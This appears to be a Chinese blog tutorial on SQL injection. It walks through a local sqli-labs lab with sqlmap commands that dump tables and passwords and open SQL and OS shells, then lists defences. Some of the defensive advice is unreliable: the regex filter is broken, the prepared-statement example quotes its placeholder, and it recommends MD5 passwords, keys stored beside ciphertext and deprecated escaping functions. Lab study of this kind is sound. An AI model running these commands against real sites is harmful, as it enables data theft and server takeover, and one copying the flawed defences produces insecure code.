SQL注入攻击与防御

一、SQL注入原理及危害

        SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,将恶意SQL语句带入数据库使恶意SQL语句得以执行,从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。

        SQL注入攻击的主要危害包括:非法读取、篡改、添加、删除数据库中的数据;数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,攻击者盗取用户的各类敏感信息,获取利益。网页篡改:通过修改数据库来修改网页上的内容。数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改,攻击者私自添加或删除账号。网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。破坏硬盘数据,瘫痪全系统。

二、SQL注入攻击

        在sqlilabs靶场模拟攻击环境,以sqlilabs第一关为例,首先安装好sqlilabs靶场,这里是在Windows7虚拟机上安装的。

        打开第一关的界面为http://192.168.42.128/sqli-labs-master/Less-1/SQL注入攻击与防御_第1张图片

 

        在第一关的URL后面构建一对键值对?id=1

        如http://192.168.42.128/sqli-labs-master/Less-1/?id=1,则显示用户账号与密码数据SQL注入攻击与防御_第2张图片

 

        在URL中输入http://192.168.42.128/sqli-labs-master/Less-1/?id=1’判断是否存在SQL注入的传参数点

         当前页面显示存在SQL注入的传参数点

        此时我们打开kali虚拟机使用里面的SQLmap工具来检测,命令为

        sqlmap -u http://192.168.42.128/sqli-labs-master/Less-1/?id=1

SQL注入攻击与防御_第3张图片        由上图可知,该处存在SQL注入,还知Web服务器的操作系统为Windows,Web应用技术为PHP 5.5.38加上Apache 2.4.39,数据库为MySQL 版本大于5.5。

        再使用命令sqlmap -u http://192.168.42.128/sqli-labs-master/Less-1/?id=1 –dbs 列出当前服务器可用的数据库如果如下SQL注入攻击与防御_第4张图片

        查看当前使用数据库和当前使用数据的用户命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" --current-db --current-userSQL注入攻击与防御_第5张图片

 

        当前用户为root,数据库为security

        查看当前使用的数据库中有哪些表的命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  -D security --tablesSQL注入攻击与防御_第6张图片

 

        Security数据库中有四张表分别是emails、referers、uagents和users。

        查看Security数据库中的users表中的列名,查看其他表名同理,命令为

sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  -D security -T users –columnsSQL注入攻击与防御_第7张图片

 

        User表中有三个字段分别是id,password和username

        查看表中的三个字段的数据命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"

         -D security -T users -C id,username,password --dumpSQL注入攻击与防御_第8张图片

 

        判断当前数据用户是不是DMA的命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --is-dbaSQL注入攻击与防御_第9张图片

 

        获取当前所有数据库的用户及当前数据库的用户密码命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --passwords --usersSQL注入攻击与防御_第10张图片

 

        上面那个红色区域是数据库中的当前所有用户账号,下面这个红色区域是当前数据库用户的密码,该账号的密码为空。

        可以通过该命令运行自定义SQL语句,命令为sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --level 3 --sql-shell 和select * from users;SQL注入攻击与防御_第11张图片

 SQL注入攻击与防御_第12张图片

 

        通过该命令可以执行任意操作系统命令

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --os-shell

SQL注入攻击与防御_第13张图片

 

三、SQL注入防御

1、限制数据类型

        在传入参数的地方限制参数的类型,比如整型 Integer,随后加入函数判断,如is_numeric($_GET[‘id’]) 只有当get到的id为数字或者数字字符时才能执行下一步,限制了字字符自然就限制了注入,毕竟构造参数怎么可能不传入字符。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。

2、正则表达式匹配传入参数(这里是PHP,其他语言也同理)

源码:

$id=$_POST['id'];

if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) {

        die('stop hacking!');

    } else {

        echo 'good';

    }

            注释:

                        preg_match() 函数匹配传入的id值,

        / 作为正则的起始标识符

        | 代表或

        [A-Za-z] 表示匹配参数中是否存在大小写的26个字符

        /d 匹配是否存在数字

        +匹配一次或多次

        /i 不区分大小写

    例如像下面这句:

                ?id=1’ union select 1,2# 因为匹配到union select,输出 stop hacking!

3、函数过滤转移

        在PHP中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义, 比如: ?id=1' and 1=1#  ===> ?id=1/' and 1=1#

        另外还有addslashes(),也具有相同的效果。像前面提到的**preg_match()**函数结合正则表达式或者黑名单也具有预防效果。默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

mysql_escape_string($string):用反斜杠转义字符串中的特殊字符,用于mysql_query()查询。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。转义的符号包括 \x00 \n \r \ ’ " \x1a

4、预编译语句

        预编译语句对现在的程序员来说基本都会去设计使用的方法,保障数据库的安全。一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。

String query="select password from users where username='?' ";

        预编译:使用预编译相当于是将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构,在这个例子中,即使攻击者插入类似 admin’ or 1=1# 的字符串,如果不做处理直接带入查询,那么query则变成了

query="select password from users where username='admin' or 1=1 ";

        闭合了后面的引号,从而执行了恶意代码。而预编译则是将传入的 admin’ or 1=1# 当做纯字符串的形式作为username执行,避免了上面说到的SQL语句中的拼接闭合查询语句等过程,可以理解为字符串与sql语句的关系区分开,username此时作为字符串不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句,SQL语句的语义不会发生改变。

        下面给个php绑定变量的事例:

        $query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";

        $stmt=$mysqli->prepare($query);

        $stmt->bind_param("sss",$val1,$val2,$val3);

        $val1="Stuttgart";

        $val2="DEU";

        $val3="Baden";

        //execute the statement

        $stmt->execute();

5、对数据库的敏感信息进行加密

        数据库中可以进行MD5算法加密插入到数据库中,像数据库中的用户的账号和密码以及涉及到用的个人隐私的。

        也可以在插入数据之前使用DES算法加密,密文加密钥组合起来,例如password字段的数据,前十六位为密文,后十六位为密钥,则password等于密文(16位)加上密钥(16位)组合起来,其他表中的字段同理。

6、管理数据库的配置权限

        使用安全的账号和密码策略,SQL Server具有一个超级用户账号,其用户名称是: SA,该用户名不能被修改也不能被删除,所以,我们必须对这个账号进行最强的保护。不在数据库应用中直接使用SA账号,新建一个(而且只建-一个)与SA一样权限的超级用户来管理数据库,其它用户根据实际需要分配仅仅能够满足应用要求的权限,不要给予多余的权限,所有用户(特别是超级用户)都要使用复杂的密码,同时养成定期修改密码的好习惯。

        使用Windows 身份验证模式,SQL Server的认证模式有Windows身份认证和混合身份认证两种。应该使用Windows 身份验证模式,因为它通过限制对Microsoft Windows 用户和域用户账户的连接,保护SQLServer免受大部分Internet 的工具的侵害,而且,服务器也可以从Windows 安全增强机制中获益。这样就可以使数据库免受大部分Internet的工具的侵害。

你可能感兴趣的:(网络安全,sql,数据库,服务器)